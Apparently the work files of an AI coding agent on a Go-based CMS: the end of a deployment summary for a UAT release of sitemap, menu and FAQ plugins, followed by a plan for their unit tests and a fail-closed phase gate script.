- Release: binary sha256 `6e4d8964…` local == uploaded (previous kept as `bin/grzybyfunkcjonalne.prev`), config, scripts and Nuxt output uploaded, `bin/grzybyfunkcjonalne migrate` -> "migrations applied", import dry and real, `supervisorctl restart`; both programs RUNNING.
- Vhost: installed `/etc/nginx/sites-available/uat.grzybyfunkcjonalne.pl` sha256 `a0e3c29018b953fa568e7d40796b67ea4e7222eb1aef9164dc641e9dff6e8b79`, equal to the uploaded `deploy/grzybyfunkcjonalne-staging.conf` and to the committed file; the four locations at lines 148, 161, 176, 189. `sudo -n nginx -t`: syntax ok, test successful. The new paths answer from Go, so the reload was done (no extra reload needed).
- Security headers loop from DEPLOY.md over `/`, `/gfadmin/`, `/_journal/api/v1/categories`, `/backend`, plus `/sitemap.xml`, `/sitemap.xsl`, `/_menu/api/v1/menus/main-menu`, `/_faq/api/v1/faqs/what-mushrooms-can-give-you`: each response carries one copy of Strict-Transport-Security, X-Content-Type-Options, X-Frame-Options, Referrer-Policy (the admin's own `same-origin`), Permissions-Policy and Content-Security-Policy-Report-Only, and no X-Powered-By. `/backend` 404. The four new paths answer 200 with `application/xml`, `text/xsl; charset=UTF-8`, `application/json`, `application/json`.
- POST to each of the four new paths through nginx: 403 (`limit_except GET HEAD`).
- Smoke, on the server with the `.curlrc` loopback resolve: `smoke: ok (105 urls)` (before the vhost install it was 101/105, exactly the four new paths failing).
- Task 5 verify: `check-deploy: ok` locally; on the server through nginx, `/sitemap.xml` Content-Type `application/xml` and the FAQ API `"data"` envelope -> `uat-companions-ok`.
## Sitemap comparison (SC-3 live)
Live `https://grzybyfunkcjonalne.pl/sitemap.xml` (fetched 2026-10-12 ~16:55Z; loc set identical to the 17:57-local baseline, only the `/` lastmod differs because PHP sets it to now) against the UAT sitemap fetched through nginx (`https://uat.grzybyfunkcjonalne.pl/sitemap.xml`, byte-equal modulo host to the earlier loopback fetch from Go):
| Check | Result |
|---|---|
| Loc paths | live 71, UAT 72; all 71 live paths present on UAT |
| Extra on UAT | `/blog/uat-16-2-blog-editor`: a post published on UAT during the Phase 16.2 UAT; live answers 404 for it. UAT data, not a source or mapping difference |
| Missing on UAT | none |
| Host | UAT locs use `https://uat.grzybyfunkcjonalne.pl` from Host and X-Forwarded-Proto (no frontend_url set); the xml-stylesheet points at `https://uat.grzybyfunkcjonalne.pl/sitemap.xsl` |
| changefreq and priority | identical on all 71 (`/` always 1.0, posts and `/blog` always 0.4, categories always 0.5) |
| lastmod | `/` and `/blog` have none in Go (URL items; PHP fakes `/` as now and used the blog.htm mtime for the cms-page); the other 69 differ in value: Go uses `updated_at`, which the Phase 16 import set to 2026-10-09 (17-05 deferred item 2) |
| Order | identical up to index 9, differs from index 10 (post title order under Postgres ICU collation vs MySQL) |
| 17-03 deferred item 4 | not triggered: the definition uses `all-journal-categories`, no nested `journal-category` item |
The plan's literal `loc-sets-equal` command therefore prints the one-line diff `> /blog/uat-16-2-blog-editor`; the plan allows this when the SUMMARY explains it, and on production (no UAT test post) the sets are equal.
## Decisions Made
See `key-decisions` in the frontmatter. In short: menu code `main-menu`, built-in type maps only, `--page-url blog=/blog` for the sitemap's CMS page, plugin-default sitemap settings, `winter_translate_locales` in the FAQ export, orphan entries dropped.
## Deviations from Plan
### Auto-fixed Issues
**1. [Rule 3 - Blocking] Exports produced from the operator's mysqldump instead of running the five SQL files on the server**
- **Found during:** Task 1
- **Issue:** The human placed a mysqldump in the companions folder instead of running the export SQL ("I created mysqldump in that folder on server, must suffice").
- **Fix:** The dump was copied to the scratchpad, loaded into a throwaway `mariadb:11` container with `--network none`, the plugin export SQL files were run against it, and the JSONL outputs were uploaded to `/srv/grzybyfunkcjonalne/import/companions/`. The container, its anonymous volume and every local copy of the dump were deleted afterwards (verified). The live PHP database was not touched.
- **Verification:** each JSONL parses; sha256 prefixes recorded above.
**2. [Rule 3 - Blocking] FAQ export joins `winter_translate_locales`**
- **Found during:** Task 1
- **Issue:** The plugin export SQL joins `golem15_translate_locales`; this site's tables are `winter_translate_*`.
- **Fix:** sed on the SQL at run time, documented in the host's `scripts/php-export/README.md` section 4. No Go code references `winter_translate_*` (the human's point that sm translate uses no winter prefix stands).
- **Committed in:** 6441b17 (README)
**3. [Rule 2 - Missing critical] `sitemap:import-winter --page-url reference=/path`**
- **Found during:** Task 1 discovery
- **Issue:** The PHP definition lists `/blog` through a `cms-page` item; the importer dropped CMS-page items, so the Go sitemap would have lost `/blog` and failed SC-3.
- **Fix:** New flag in sm-sitemap-plugin that copies a named CMS-page item as a `url` item (reported as remapped); `import-companions.sh` gained `--page-url` and `migrate.sh` `--companions-page-url`, used instead of the plan's `--map` (no `--map` is needed on this site).
- **Files modified:** ../sm-sitemap-plugin/console/import_winter.go, sitemap_smoke_test.go, README.md; host scripts
- **Committed in:** sm-sitemap-plugin 5a260db, host 6441b17
**4. [Rule 3 - Blocking] No `sitemap-settings.json`**
- **Found during:** Task 1
- **Issue:** The PHP site has no sitemap `system_settings` row, so the fifth export file the Task 1 verify requires cannot exist.
- **Fix:** Verify adapted to "companions-ready (sitemap-settings.json N/A: PHP row absent)"; `import-companions.sh` treats the file as optional and reports it; the host fixture keeps a settings file so the test still covers the settings import.
**5. [Rule 3 - Blocking] `go mod tidy` in sm-journal-plugin moved `goccy/go-yaml` to a direct require**
- **Found during:** Task 2
- **Fix:** Committed with the v0.1.23 require in 06d0c9b (go.mod and go.sum only).
**6. [Rule 3 - Blocking] Vhost install needs root**
- **Found during:** Task 5
- **Issue:** The deploy user's sudo rules cover `nginx -t`, reloads and `supervisorctl`, not copying into `/etc/nginx`.
- **Fix:** A dynamic human-action checkpoint; the human installed the vhost and replied (verbatim above). The installed file's sha256 matches the upload and the committed file.
**7. [Rule 3 - Blocking] Remote checks run on the server through nginx**
- **Found during:** Task 5
- **Issue:** The UAT basic auth gate answers 401 from outside, and the plan's verify ran `smoke.sh --url` and curl from the local machine.
- **Fix:** As DEPLOY.md "Smoke" prescribes: smoke and the verify curls run on the server with curl resolving the staging host to 127.0.0.1, so every request passes through nginx and its locations. `check-deploy.sh` ran locally.
---
**Total deviations:** 7 auto-fixed (1 missing critical, 6 blocking). **Impact on plan:** The `--page-url` flag is a small, reported extension of the importer that SC-3 needed; the rest adapt the plan to the operator's dump, this site's table prefix and the UAT gate. No scope creep.
## Issues Encountered
- Before the vhost install, the on-server smoke failed 4 of 105 lines (exactly `/sitemap.xml`, `/sitemap.xsl`, the `/_menu` API and the `/_faq` API, which reached Nuxt). After the install: 105/105.
- Deferred (logged in `deferred-items.md`, committed 2440560): every public Go response sets `golem15.translate.locale=en` (pre-existing translate middleware, now also on `/_menu/`, `/_faq/` and the sitemap; follow-up in sm-translate-plugin), and the sitemap `lastmod` of imported Journal rows is the 2026-10-09 import time (a one-off copy of PHP `updated_at` before the production cutover would align it).
- Todo `site-cache-purge-for-menu-and-faq.md` (7290d8f): menu and FAQ saves do not purge the Nuxt swr cache yet (edits show within 300 s).
## g15office
No g15office MCP tools were available to this executor. The orchestrator must:
1. Create the g15office task for `.planning/todos/pending/site-cache-purge-for-menu-and-faq.md` (type Improvement, description ending `Local: .planning/todos/pending/site-cache-purge-for-menu-and-faq.md`), make it a subtask of the Phase 17 task `ejoiuzy4` if appropriate, and write the ID back into the todo's frontmatter (`g15office: <id>`).
2. Post a short comment on the Phase 17 milestone task `ejoiuzy4` (status stays In progress; plan 06 remains): "17-05 executed: grzybyfunkcjonalne UAT reads menu and FAQ from the Go plugins through vue-menu-layer and vue-faq-layer v0.1.0, sitemap served by Go via nginx; Winter rows imported; smoke 105/105; sitemap loc set matches live (one UAT-only post). Production not deployed."
## User Setup Required
None beyond what Task 1 and the vhost checkpoint already covered.
## Next Phase Readiness
- Plan 17-06 (unit tests) can start; the layers and host carry node and Go tests already.
- Open human-check items for `/msd-verify-work` (end of phase): header dropdown hover and click, mobile toggle, Esc, active link on a category page, FAQ items opening; admin edit of a menu entry title, drag and keyboard reorder, reference dropdown following the type, FAQ richeditor edit and new question row with the change visible after the cache TTL, Settings, Sitemap and Sitemap settings forms; the XSL view of `/sitemap.xml`. The human already confirmed: "i see sitemap loading, all plugins in backend".
- Production deploy and pushing summercms.go are not approved.
---
*Phase: 17-blog-companions*
*Completed: 2026-10-12*
## Self-Check: PASSED
All key files exist; every commit hash above resolves in its repository (host 2a68b15 d885458 df3bb06 95a4936 1ed0b48 973b2b5 6441b17; sm-journal-plugin 06d0c9b; sm-sitemap-plugin 5a260db; vue-menu-layer d980f4c; vue-faq-layer 2d62924; site app bc143fa; summercms.go 7290d8f 2440560 134e664 (this SUMMARY)). vue-faq-layer ships no FaqSection component.

View File

@@ -0,0 +1,279 @@
---
phase: 17-blog-companions
plan: 06
type: execute
wave: 4
depends_on: ["17-01", "17-02", "17-03", "17-04", "17-05"]
files_modified:
- scripts/check-phase17.sh
- .planning/phases/17-blog-companions/17-VALIDATION.md
- modules/signpost/signpost_test.go
- modules/seaglass/seaglass_test.go
- modules/pact/menu_item_types_test.go
- modules/party/registry_test.go
- modules/cabana/repeater_test.go
- modules/cabana/dependent_test.go
- modules/cabana/richeditor_test.go
- modules/cabana/reorder_test.go
- modules/cabana/singleton_test.go
- modules/cabana/companions_postgres_test.go
- modules/cabana/openapi_conformance_test.go
- admin/tests/form/RichEditorField.test.ts
- admin/tests/form/RepeaterField.test.ts
- admin/tests/form/DependentDropdown.test.ts
- admin/tests/form/SingletonForm.test.ts
- admin/tests/views/ReorderView.test.ts
- ../sm-journal-plugin/classes/menu_item_types_test.go
- ../sm-journal-plugin/menu_item_types_test.go
- ../sm-sitemap-plugin/classes/urlto_test.go
- ../sm-sitemap-plugin/classes/tiers_test.go
- ../sm-sitemap-plugin/classes/rewrite_test.go
- ../sm-sitemap-plugin/classes/serialize_test.go
- ../sm-sitemap-plugin/classes/generator_test.go
- ../sm-sitemap-plugin/classes/manifest_test.go
- ../sm-sitemap-plugin/models/definition_test.go
- ../sm-sitemap-plugin/import_test.go
- ../sm-menu-plugin/classes/links_test.go
- ../sm-menu-plugin/classes/tree_test.go
- ../sm-menu-plugin/menu_api_test.go
- ../sm-menu-plugin/models/menu_entry_test.go
- ../sm-faq-plugin/models/faq_test.go
- ../sm-faq-plugin/faq_api_test.go
- ../sm-grzybyfunkcjonalne-app/companions_test.go
- ../vue-menu-layer/tests/menuLinks.test.ts
- ../vue-menu-layer/tests/client.test.ts
- ../vue-faq-layer/tests/client.test.ts
autonomous: true
requirements: [SC-5, SC-1, SC-2, SC-3, SC-4]
estimate:
tokens: 230000
raw_tokens: 230000
tasks: 4
confidence: low
must_haves:
truths:
- "SC-5 (CLAUDE.md lean rule 2): every piece of Phase 17 code has unit tests in this last plan: pact contracts, signpost, seaglass, the party hook, cabana repeater, dependent dropdown, richeditor, reorder and singleton, the four SPA features, the five Journal types, the sitemap serializer, Url::to, tiers, rewrite, manifest, hooks and imports, the menu and FAQ models, APIs and imports, the host wiring and both layers."
- "D-01 and SC-2 pinned: TestRegistryDuplicateKey fails Activate with both plugin IDs; TestRegistryActivate covers empty key, nil Resolve, an empty or relative DefaultPattern, a PatternFrom naming an unregistered type, the type itself or a type with its own PatternFrom, and an unknown host override; TestRegistryPatternLayers covers item override over host config over default, and for a PatternFrom list type item override over the list key's host override over the record type's host override over the list's DefaultPattern; TestActivateMenuItemTypesOrder proves the registry exists before the first Boot; TestReferenceOptions covers depth flattening and applies false."
- "D-10 pinned: TestSanitizeByteStable (clean HTML returned byte-identical), TestSanitizeReport (element, attribute and comment names), TestSanitizeBypassCorpus (the regex-gate bypasses from the bluemonday decision notes: event handlers without a space, entity-encoded javascript scheme, svg onload, data URLs) and TestRichEditor (save stores the clean value with notices; settings and relation forms refuse the type at boot)."
- "D-07, D-08, D-09 and D-11 pinned: TestRepeaterCompile (every refused key and nested type), TestRepeaterDecode and TestRepeaterSave (row keys, coercion, per-row required paths, min and max, nested richeditor notices, nested dependsOn), TestDependentDropdownCompile and TestDependentRecheck (options route, null when applies is false, 422 outside the options), TestReorderPostgres (exact set, 409 stale, 409 foreign partition, 422 cycle, duplicate and maxDepth, both columns written, nothing written on refusal) and TestSingleton (first-or-create once, 404 on list, create and delete)."
- "D-04 and D-02 pinned: TestMenuItemTypes covers all five Journal types on Postgres (a valid DefaultPattern on each and PatternFrom on the three list types, list children following a host override set only on journal-category or journal-post and an item override on the list item, references, nesting with default URLs only, list ordering, published filters, descendant categories, x-default, alternates in sort_order with ties by id, date placeholders only for published posts) and TestMenuItemTypesPatterns covers the ordered pattern fill without a database."
- "SC-3 and D-12 to D-14 pinned: TestURLTo (the PHP golden table), TestXMLEscaping (PHP XmlEscapingTest as behaviour: every value escaped in text and attributes), TestFillable (PHP MassAssignmentTest: exactly theme and data), TestTiers (each default rule, first match wins, disabled tiers, host replacement, bad pattern fails boot), TestRewrite (loc, xhtml:link href and stylesheet href; equal URLs unchanged; trusted versus untrusted forwarded proto), TestHooks (Skip drops, Extra appended before the url closing tag), TestManifest (missing, oversized, non-object and non-regular files omit lastmod), TestDefinitionItemJSON (PHP-shaped strings, numbers, bools and unknown keys), TestURLCap (50,000th in, 50,001st out) and TestImportWinter (maps, drops with report, --force, --dry-run)."
- "D-05, D-16 and D-17 pinned: TestAllowedURL and TestMenuEntryBeforeSave (PHP save rules), TestMenuTree (order and expansion without a database), TestMenuAPI and TestFaqAPI on Postgres (404 bodies, published and active filters, locale choice, duplicate slug lowest id, raw-SQL unsafe HTML sanitized, URL scheme filter, url_pattern override), and the import edge cases (empty file, unknown locale, page subtree dropped)."
- "UI-SPEC backstops completed in vitest: untouched richeditor value byte-identical; repeater remove asks only for a non-empty row, arrow keys and buttons reorder and announce repeater.moved, nothing is sent before Save; three quick tree moves send one debounced POST with the full node set, a failed POST restores the tree, a 409 reloads with reorder.stale, each keyboard move announces; dependent dropdown states and last-request-wins; singleton form without Delete. Layer node tests: javascript: and data: URLs render as text without href, _blank gets rel noopener noreferrer, active and trail matching, clients build the right URLs and map 404 to null."
- "scripts/check-phase17.sh runs every runnable suite fail-closed across summercms.go, the four plugin repositories, the host and both layers (stages go, plugins, admin, layers, docs, postgres; --self-test proves the detectors fail on planted output; --all ends with \"Phase 17 gate passed\" and says NOT RUN postgres loudly without Docker); 17-VALIDATION.md has every row filled with task IDs, commands and status, and nyquist_compliant true."
artifacts:
- path: "scripts/check-phase17.sh"
provides: "phase gate"
contains: "Phase 17 gate passed"
- path: "modules/signpost/signpost_test.go"
provides: "registry unit tests"
contains: "TestRegistryDuplicateKey"
- path: "modules/seaglass/seaglass_test.go"
provides: "sanitizer unit tests including the bypass corpus"
contains: "TestSanitizeBypassCorpus"
- path: "modules/cabana/reorder_test.go"
provides: "reorder Postgres tests"
contains: "TestReorderPostgres"
- path: "../sm-sitemap-plugin/classes/urlto_test.go"
provides: "Url::to golden table test"
contains: "TestURLTo"
- path: "../sm-menu-plugin/menu_api_test.go"
provides: "menu API Postgres tests"
contains: "TestMenuAPI"
- path: ".planning/phases/17-blog-companions/17-VALIDATION.md"
provides: "filled validation map"
contains: "nyquist_compliant: true"
key_links:
- from: "scripts/check-phase17.sh"
to: "every suite named in 17-VALIDATION.md"
via: "fail-closed stages with required test name lists"
pattern: "check-phase17"
- from: "modules/cabana/openapi_conformance_test.go"
to: "dependent-options, reorder and singleton routes"
via: "conformance cases against admin/openapi/admin.json"
pattern: "reorder"
prohibitions:
- statement: "No test touches a shared database, a server, git origin or the network: pure tests use stubs and in-memory stores, Postgres tests use throwaway testcontainers databases, layer tests stub fetch."
status: unresolved
verification: judgment
- statement: "Tests are not weakened to pass: existing assertions stay; a production defect found here is fixed in a separate fix(17-06) commit with its own test and named in the SUMMARY."
status: unresolved
verification: judgment
- statement: "Nothing is pushed or tagged in this plan; test commits in the plugin, host and layer repositories stay local and are listed in the SUMMARY for the next release."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): the sitemap, menu and FAQ plugins run on SummerCMS as shared `sm-*-plugin` repos, so a blog site can manage its menus, FAQs and sitemap in the admin again instead of hardcoding them in the Nuxt app.
This plan's slice (plan 6 of 6, wave 4, CLAUDE.md lean rule 2): the unit tests for all new code (SC-5), the fail-closed phase gate and the filled validation map.
## Spec-less probe fallback
SC-5 is unclassified by the edge probe; it is surfaced as a flagged assumption: coverage is judged by the filled 17-VALIDATION.md map and the gate's required test lists, not by an edge predicate. Every explicit edge truth of plans 01 to 05 gets a named test here. Prohibitions recalled in-prompt, descriptor-less.
## Decisions taken in this plan
- Test names are fixed by this plan (truths above and the task behaviours) so the gate's required lists are deterministic; a smoke test from an earlier plan keeps its name and joins the lists.
- The gate follows scripts/check-phase16.3.sh: stages, go test -json parsing, vitest JSON reports, NOT RUN postgres without Docker, PHASE17_REQUIRE_POSTGRES=1 to fail instead, environment overrides for every sibling repository path.
- Plugin, host and layer test commits stay local (no push in this plan).
- Plan 02 tagged the framework and plan 05 deployed UAT before this plan runs, so a fix(17-06) commit that changes production code ships in neither. The SUMMARY flags each such commit as needing a follow-up release, naming the route: a framework patch tag, a plugin push plus a host pointer bump, or a layer tag.
## Artifacts this phase produces (this plan)
- `scripts/check-phase17.sh` (stages go, plugins, admin, layers, docs, postgres; `--self-test`, `--all`; overrides `PHASE17_ROOT`, `JOURNAL`, `SITEMAP`, `MENU`, `FAQ`, `HOST`, `MENU_LAYER`, `FAQ_LAYER`).
- Unit test files listed in files_modified; `17-VALIDATION.md` filled with `nyquist_compliant: true`.
<objective>
Pin every Phase 17 behaviour with unit tests, wire them into one fail-closed gate, and fill the validation map.
Purpose: SC-5 and the Nyquist validation contract.
Output: tests across eight repositories, scripts/check-phase17.sh, 17-VALIDATION.md.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/17-blog-companions/17-VALIDATION.md
@.planning/phases/17-blog-companions/17-RESEARCH.md
@.planning/phases/17-blog-companions/17-01-SUMMARY.md
@.planning/phases/17-blog-companions/17-02-SUMMARY.md
@.planning/phases/17-blog-companions/17-03-SUMMARY.md
@.planning/phases/17-blog-companions/17-04-SUMMARY.md
@.planning/phases/17-blog-companions/17-05-SUMMARY.md
Repositories: summercms.go (this repo), ../sm-journal-plugin, ../sm-sitemap-plugin, ../sm-menu-plugin, ../sm-faq-plugin, ../sm-grzybyfunkcjonalne-app, ../vue-menu-layer, ../vue-faq-layer. Docker: Postgres tests skip under -short through a TestMain with flag.Parse() and testing.Short(); run them on a Docker host (sudo -u golem when the socket is denied) and record NOT RUN otherwise. Commits: tests and fixes in separate commits, no co-author tags, stage by explicit path per repository, nothing pushed.
</context>
<tasks>
<task type="tracer">
<name>Task 1: Tracer: the phase gate runs one contract test per layer end to end, fail-closed (registry, sanitizer, sitemap bytes, menu and FAQ APIs, SPA untouched value, layer link safety)</name>
<files>scripts/check-phase17.sh, modules/signpost/signpost_test.go, modules/seaglass/seaglass_test.go</files>
<read_first>scripts/check-phase16.3.sh (whole file: stage layout, go test -json detectors, vitest JSON detectors, --self-test, --all, NOT RUN handling, env overrides), scripts/check-phase16.2.sh (multi-repository stages), .planning/phases/17-blog-companions/17-VALIDATION.md, the smoke test names recorded in 17-01 to 17-05 SUMMARY files</read_first>
<action>Create scripts/check-phase17.sh modelled on check-phase16.3.sh with stages go (vet in every Go repository; Docker-free framework suites by required name), plugins (vet and -short suites in Journal, sitemap, menu, FAQ and the host by required name), admin (typecheck and the vitest JSON report with required files and names), layers (pnpm test in both layers with TAP parsing: any not ok, zero tests or a missing required file fails), docs (TestDocsTree, summer docs:build --check, check-admin-openapi.sh --check, check-admin-dist.sh), and postgres (Docker host only: the Postgres suites by required name in every Go repository). Detectors fail on a non-zero exit, a failed, skipped or zero-match go test -json run, "no tests to run", a missing required name, a vitest failure, skip, todo or missing file, and a layer TAP failure. --self-test plants failing output for each detector and proves it fails. --all runs self-test, go, plugins, admin, layers and docs, then postgres when Docker answers, else prints NOT RUN postgres; PHASE17_REQUIRE_POSTGRES=1 makes that a failure. Paths default to the sibling checkouts and are overridable (PHASE17_ROOT, JOURNAL, SITEMAP, MENU, FAQ, HOST, MENU_LAYER, FAQ_LAYER). The final line on success is "Phase 17 gate passed".
Start the required lists with one contract test per layer, writing the two new framework ones now: TestRegistryDuplicateKey in modules/signpost/signpost_test.go (two fake plugins with the same key fail Activate, the error names both IDs) and TestSanitizeByteStable in modules/seaglass/seaglass_test.go (a set of clean editor HTML snippets come back byte-identical, including attributes in their original order and entities as written). The other contract tests come from earlier plans: TestSitemapGolden (sitemap), TestFaqAPISmoke and TestMenuAPISmoke (postgres stage), the RichEditorField tracer spec (admin) and the menu layer menuLinks test (layers).</action>
<verify>
<automated>bash scripts/check-phase17.sh --self-test &amp;&amp; bash scripts/check-phase17.sh go &amp;&amp; bash scripts/check-phase17.sh plugins &amp;&amp; bash scripts/check-phase17.sh layers</automated>
<fails_when>Non-zero exit: a detector accepts planted failing output in --self-test, or a stage reports a failed, skipped or missing required test.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "Phase 17 gate passed" scripts/check-phase17.sh` prints one line and `grep -n "NOT RUN postgres" scripts/check-phase17.sh` prints at least one line.
- `grep -n "PHASE17_REQUIRE_POSTGRES" scripts/check-phase17.sh` prints at least one line.
</acceptance_criteria>
<done>One command proves the phase's contracts at every layer and fails closed when any is missing or broken.</done>
</task>
<task type="auto" tdd="true">
<name>Task 2: Full framework coverage: pact, signpost, seaglass, party hook, cabana repeater, dependent dropdown, richeditor, reorder, singleton and conformance; admin SPA specs</name>
<files>modules/signpost/signpost_test.go, modules/seaglass/seaglass_test.go, modules/pact/menu_item_types_test.go, modules/party/registry_test.go, modules/cabana/repeater_test.go, modules/cabana/dependent_test.go, modules/cabana/richeditor_test.go, modules/cabana/reorder_test.go, modules/cabana/singleton_test.go, modules/cabana/companions_postgres_test.go, modules/cabana/openapi_conformance_test.go, admin/tests/form/RichEditorField.test.ts, admin/tests/form/RepeaterField.test.ts, admin/tests/form/DependentDropdown.test.ts, admin/tests/form/SingletonForm.test.ts, admin/tests/views/ReorderView.test.ts, scripts/check-phase17.sh</files>
<read_first>modules/signpost/signpost.go, modules/seaglass/seaglass.go, modules/cabana/field_repeater.go, field_dependent.go, field_richeditor.go, reorder.go, singleton.go, modules/cabana/companions_smoke_test.go, field_type_test.go (table style), openapi_conformance_test.go, modules/party/registry_test.go, .planning/notes/journal-html-sanitizing-bluemonday.md and 2026-10-11-framework-html-sanitizer-bluemonday.md (bypass list), admin components and smoke specs from plan 02, .planning/phases/17-blog-companions/17-UI-SPEC.md (UI Considerations backstops), admin/tests/form/MarkdownField.test.ts and tests/helpers.ts</read_first>
<behavior>
- TestRegistryActivate, TestRegistryPatternLayers, TestReferenceOptions, TestRegistryHostOverrideUnknown, TestActivateMenuItemTypesOrder, TestOptionDepthOmitEmpty
- TestSanitizeReport, TestSanitizeBypassCorpus, TestCheck
- TestRepeaterCompile, TestRepeaterDecode, TestDependentDropdownCompile, TestRichEditorCompile, TestReorderConfigCompile, TestSingletonCompile (Docker-free)
- TestRepeaterSave, TestDependentRecheck, TestRichEditor, TestReorderPostgres, TestSingleton, TestPhase10OpenAPIConformance with the new routes (Postgres)
- vitest: RichEditorField (untouched byte-identical, edit emits HTML, empty paragraph emits "", lossy note, link allowlist, lazy-load failure fallback, notices callout), RepeaterField (remove confirm only when non-empty, keyboard and button reorder with repeater.moved, path errors expand and focus, min and max, collapsed rows do not mount richeditor), DependentDropdown (every UI-SPEC state, cache, last request wins, clear and announce), ReorderView (debounced full-set POST, revert on failure, 409 reload, keyboard moves announce, subtree drop refused, partition switch), SingletonForm (opens through /singleton, no Delete, back to settings)
</behavior>
<action>Per D-01 to D-03, D-06 to D-11: write the tests named in the behaviour block as tables where the framework already uses tables (field_type_test.go style), against the real compile and route code (no mocks of cabana internals), with Postgres tests in companions_postgres_test.go using the conform-style environment. TestRegistryPatternLayers is a table over fake types acme-post and acme-posts (PatternFrom acme-post) with every combination of item override, list-key host override and record-key host override, asserting the D-02 truth above; TestRegistryActivate rows include the three bad PatternFrom cases. TestSanitizeBypassCorpus takes its cases from the two bluemonday decision notes and asserts each comes back without the dangerous construct and with Changed true. TestReorderPostgres asserts row values before and after every refused request to prove nothing was written. Add conformance cases for every new route response (200, 404, 409, 422 where defined). Add the admin specs by the UI-SPEC backstop wording. Append every new name to the required lists in scripts/check-phase17.sh (Docker-free ones to the go stage, Postgres ones to the postgres stage, spec files and names to the admin stage). A production defect found while writing a test is fixed in its own fix(17-06) commit with that test.</action>
<verify>
<automated>go vet ./... &amp;&amp; go test -count=1 -short ./modules/signpost ./modules/seaglass ./modules/pact ./modules/party ./modules/cabana &amp;&amp; npm --prefix admin run typecheck &amp;&amp; npm --prefix admin test &amp;&amp; bash scripts/check-phase17.sh go &amp;&amp; bash scripts/check-phase17.sh admin</automated>
<fails_when>Non-zero exit: vet fails, a Docker-free framework test fails, an admin spec fails, or the gate reports a missing or skipped required name.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go test -count=1 -run '^(TestRepeaterSave|TestDependentRecheck|TestRichEditor|TestReorderPostgres|TestSingleton|TestPhase10OpenAPIConformance)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 6</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or fewer than six passes: a framework save, recheck, reorder or singleton rule regressed, or a new route response does not match the OpenAPI schema.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "func TestSanitizeBypassCorpus" modules/seaglass/seaglass_test.go` and `grep -n "func TestReorderPostgres" modules/cabana/reorder_test.go` each print one line.
- `grep -n "TestRepeaterSave" scripts/check-phase17.sh` prints at least one line.
</acceptance_criteria>
<done>Every framework behaviour added in plans 01 and 02 has a named, gated test.</done>
</task>
<task type="auto" tdd="true">
<name>Task 3: Full plugin and host coverage: Journal types, sitemap parity units and imports, menu and FAQ models, APIs and imports, host wiring</name>
<files>../sm-journal-plugin/classes/menu_item_types_test.go, ../sm-journal-plugin/menu_item_types_test.go, ../sm-sitemap-plugin/classes/urlto_test.go, ../sm-sitemap-plugin/classes/tiers_test.go, ../sm-sitemap-plugin/classes/rewrite_test.go, ../sm-sitemap-plugin/classes/serialize_test.go, ../sm-sitemap-plugin/classes/generator_test.go, ../sm-sitemap-plugin/classes/manifest_test.go, ../sm-sitemap-plugin/models/definition_test.go, ../sm-sitemap-plugin/import_test.go, ../sm-menu-plugin/classes/links_test.go, ../sm-menu-plugin/classes/tree_test.go, ../sm-menu-plugin/menu_api_test.go, ../sm-menu-plugin/models/menu_entry_test.go, ../sm-faq-plugin/models/faq_test.go, ../sm-faq-plugin/faq_api_test.go, ../sm-grzybyfunkcjonalne-app/companions_test.go, scripts/check-phase17.sh</files>
<read_first>../sm-journal-plugin/classes/menu_item_types.go and menu_item_types_smoke_test.go, ../sm-sitemap-plugin/classes/*.go, classes/testdata/*.json and *.golden, tests/php/gen-goldens.php, models/definition_item.go, console/import_winter.go, sitemap_smoke_test.go; /media/nvme/dev/golem15/fonoteka/plugins/golem15/sitemap/tests/security/XmlEscapingTest.php and MassAssignmentTest.php; ../sm-menu-plugin/classes/links.go and tree.go, models/menu_entry.go, controllers/api/menus.go, menu_smoke_test.go; ../sm-faq-plugin/controllers/api/faqs.go, models/faq.go, faq_smoke_test.go; ../sm-grzybyfunkcjonalne-app/companions_test.go and boot_test.go</read_first>
<behavior>
- Journal: TestMenuItemTypesPatterns (Docker-free), TestMenuItemTypes (Postgres) per the D-04 truth
- Sitemap Docker-free: TestURLTo, TestXMLEscaping, TestFillable, TestTiers, TestRewrite, TestHooks, TestManifest, TestDefinitionItemJSON, TestURLCap, TestSitemapGolden
- Sitemap Postgres: TestImportWinter (maps, drops with report, --force, --dry-run, empty file, settings upsert)
- Menu: TestAllowedURL, TestMenuTree (Docker-free); TestMenuEntryBeforeSave, TestMenuAPI, TestMenuImport (Postgres)
- FAQ: TestFaqContentDecode (Docker-free); TestFaqAPI, TestFaqImport (Postgres)
- Host: TestCompanionsHost extended with the CORS preflight for _menu/api and _faq/api and the sitemap Content-Type (its plan 05 assertions that list children use the host patterns /<slug> and /blog/<slug> stay)
</behavior>
<action>Per D-02 to D-05, D-12 to D-14, D-16, D-17 and SC-3: write the tests named in the behaviour block in each repository's existing style. TestURLTo iterates every case of classes/testdata/urlto.json against urlto.golden. TestXMLEscaping ports the PHP XmlEscapingTest as behaviour (ampersand, angle brackets, quotes, carriage return, tab and newline in loc, changefreq, priority and hreflang href produce exactly the libxml escapes; no raw value reaches the output). TestFillable ports MassAssignmentTest (Definition.Fillable equals theme and data; an admin save with extra keys writes only those). TestURLCap feeds 50,001 items and counts 50,000 url elements. TestTiers covers each default rule with paths taken from the rule list, trailing slashes, a disabled setting, a replaced host list and a bad RE2 pattern failing Boot. TestMenuAPI and TestFaqAPI cover every D-16 and D-17 rule in the truths, including raw-SQL unsafe rows. Imports cover empty files, refusals and sequences. Append every name to the plugins and postgres stage lists of scripts/check-phase17.sh. A production defect found is fixed in its own fix(17-06) commit in that repository with its test. Commit tests per repository; push nothing.</action>
<verify>
<automated>bash scripts/check-phase17.sh plugins &amp;&amp; go -C ../sm-sitemap-plugin test -count=1 -run '^(TestURLTo|TestXMLEscaping|TestFillable|TestTiers|TestRewrite|TestHooks|TestManifest|TestDefinitionItemJSON|TestURLCap|TestSitemapGolden)$' -v ./... 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 10</automated>
<fails_when>Non-zero exit: the plugins stage reports a failure or a missing required name, or fewer than ten sitemap parity tests pass (a golden, escaping, tier, rewrite, hook, manifest, JSON or cap rule regressed).</fails_when>
